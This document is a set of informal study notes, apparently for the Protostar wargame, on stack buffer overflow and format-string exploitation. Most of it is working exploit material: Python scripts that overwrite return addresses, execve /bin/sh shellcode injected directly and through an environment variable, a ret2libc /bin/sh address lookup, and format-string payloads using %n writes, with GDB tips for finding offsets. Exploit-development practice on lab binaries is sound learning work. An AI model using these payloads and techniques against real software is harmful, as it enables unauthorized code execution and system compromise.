stacks

#######################################################################################
STACK ALIKE EXPS

GDB useful commands:

disas main # to diasmble main function
break *address # to break on this addres
print name of function to search for a function
x/2x $ebp # to find the addres of return previusly marked with breakpoint
x/30x $esp # to print some addresses of the stack!
for searching an address you have to look at start and end of our X41 OFFSETS to see where does AAA'S(\X41) starts and ends #start 0xbffff770 - end 0xbffff7b0

so you do end - start = new buffer to overwrite . if first (end) address ends with 0 we have overwrite to a c for example

si >> to jump to next instruction
info reg >>> to view registers to view esp address in which you have to jump until you get something like this
Program received signal SIGTRAP, Trace/breakpoint trap.
if ilegal instruction showed when executing the binary you can try to add \x90 + breakpoint if its still happening or trowing segnmentaion fault you can try to add 10-90 to esp. until Trace/breakpoint trap its showed

win1
#!/usr/bin/python

padding = "A"*64
padding += "\x24\x84\x04\x08"
print padding

win2
buf = "A"*76
#overwrite addres of return 0xb7eadc76 92
#start 0xbffff770 - end 0xbffff7b0
#0x80483f4
#win function addres
padding= "\xf4\x83\x04\x08"
print buf + padding


to input stdin in binary output the content of the exploit to a file and then

cat file - | binary

win3
import struct
buf = "A"*76
#retunr address 0xb7eadc76
#end addres 0xbffff7b0 - start 0xbffff770 offset 76
esp = struct.pack("I", 0xbffff7c0)
ebp = "x\90"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print buf + esp + ebp + shellcode

to find env variables
x/200s $esp

to find /bin/sh in libc

find &system,+9999999,"/bin/sh"

or on gbd info proc map and find libc.so its using

then strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh to grab the offset

then wiht the start address of libc its using you have to calc the real /bin/sh addrees so for example

0xb7e97000(start addreslibc) +  0x11f3bf /bin/sh (address we found with strings commands on libc)
to find name of an address you use

or using gdb
x/s startadd+binshaddr
to find string address
x/s address

searching for not know addres like pop etc we can use objdump -d binary to search
if theres no esp addres we can search for pop gaget address to jump at
pop ebx; pop ebp; ret

for nops to see where its segmentation fault happening we can put many bytes of nops and run the binary in gdb with the outputed file and continue to see where segmentattion its happening. or we can use pattercreate.rb and then patternoffset.rb to know exactly where its happening the segfault.

for searching env variables address
https://gist.github.com/oaass/85540157304dc0aaea25
then we can export our variable:
user@protostar:/tmp$ SHELLCODE=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
user@protostar:/tmp$ export SHELLCODE
user@protostar:/tmp$ echo $SHELLCODE
1Ph//shh/bin°
             ̀1@̀
and from same path user getenv to know the address then launch your code from same path

win5
import struct
#0xbffff7ac-0xbffff75c
trash = "A"*80
pop = struct.pack("I", 0x08048492)
nops = "B"*8
shellcode = struct.pack("I", 0xbffff96d)
print trash + pop + nops + shellcode

#################################################################################

FORMAT
exp0
./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`

exp1
for searching offset for strings look for your hex strings in loop
for i in {1..150}; do echo $i; ./format1 $(python -c "print 'ABCDEFGH.%$i\$x'"); echo; done;
then look for target address
objdump -t binary | target
exploit:
./binary $(python -c 'print "A\x38\x96\x04\x08FGH.*130$n"')

exp2
searching for offset
for i in {1..50}; do echo $i; echo $(python -c "print 'ABCDEFGH.%$i\$x'") | ./format2; echo; done;

then searching for target address
objdump -t binary | grep target
then make your exploit
echo $(python -c 'print "\xe4\x96\x04\x08EFGH" + "A"*56 + "%4$n"') | ./format2
notice we have to pipe it | cuz runing like other times doesnt work ( ./binary $(print command)) doesnt not work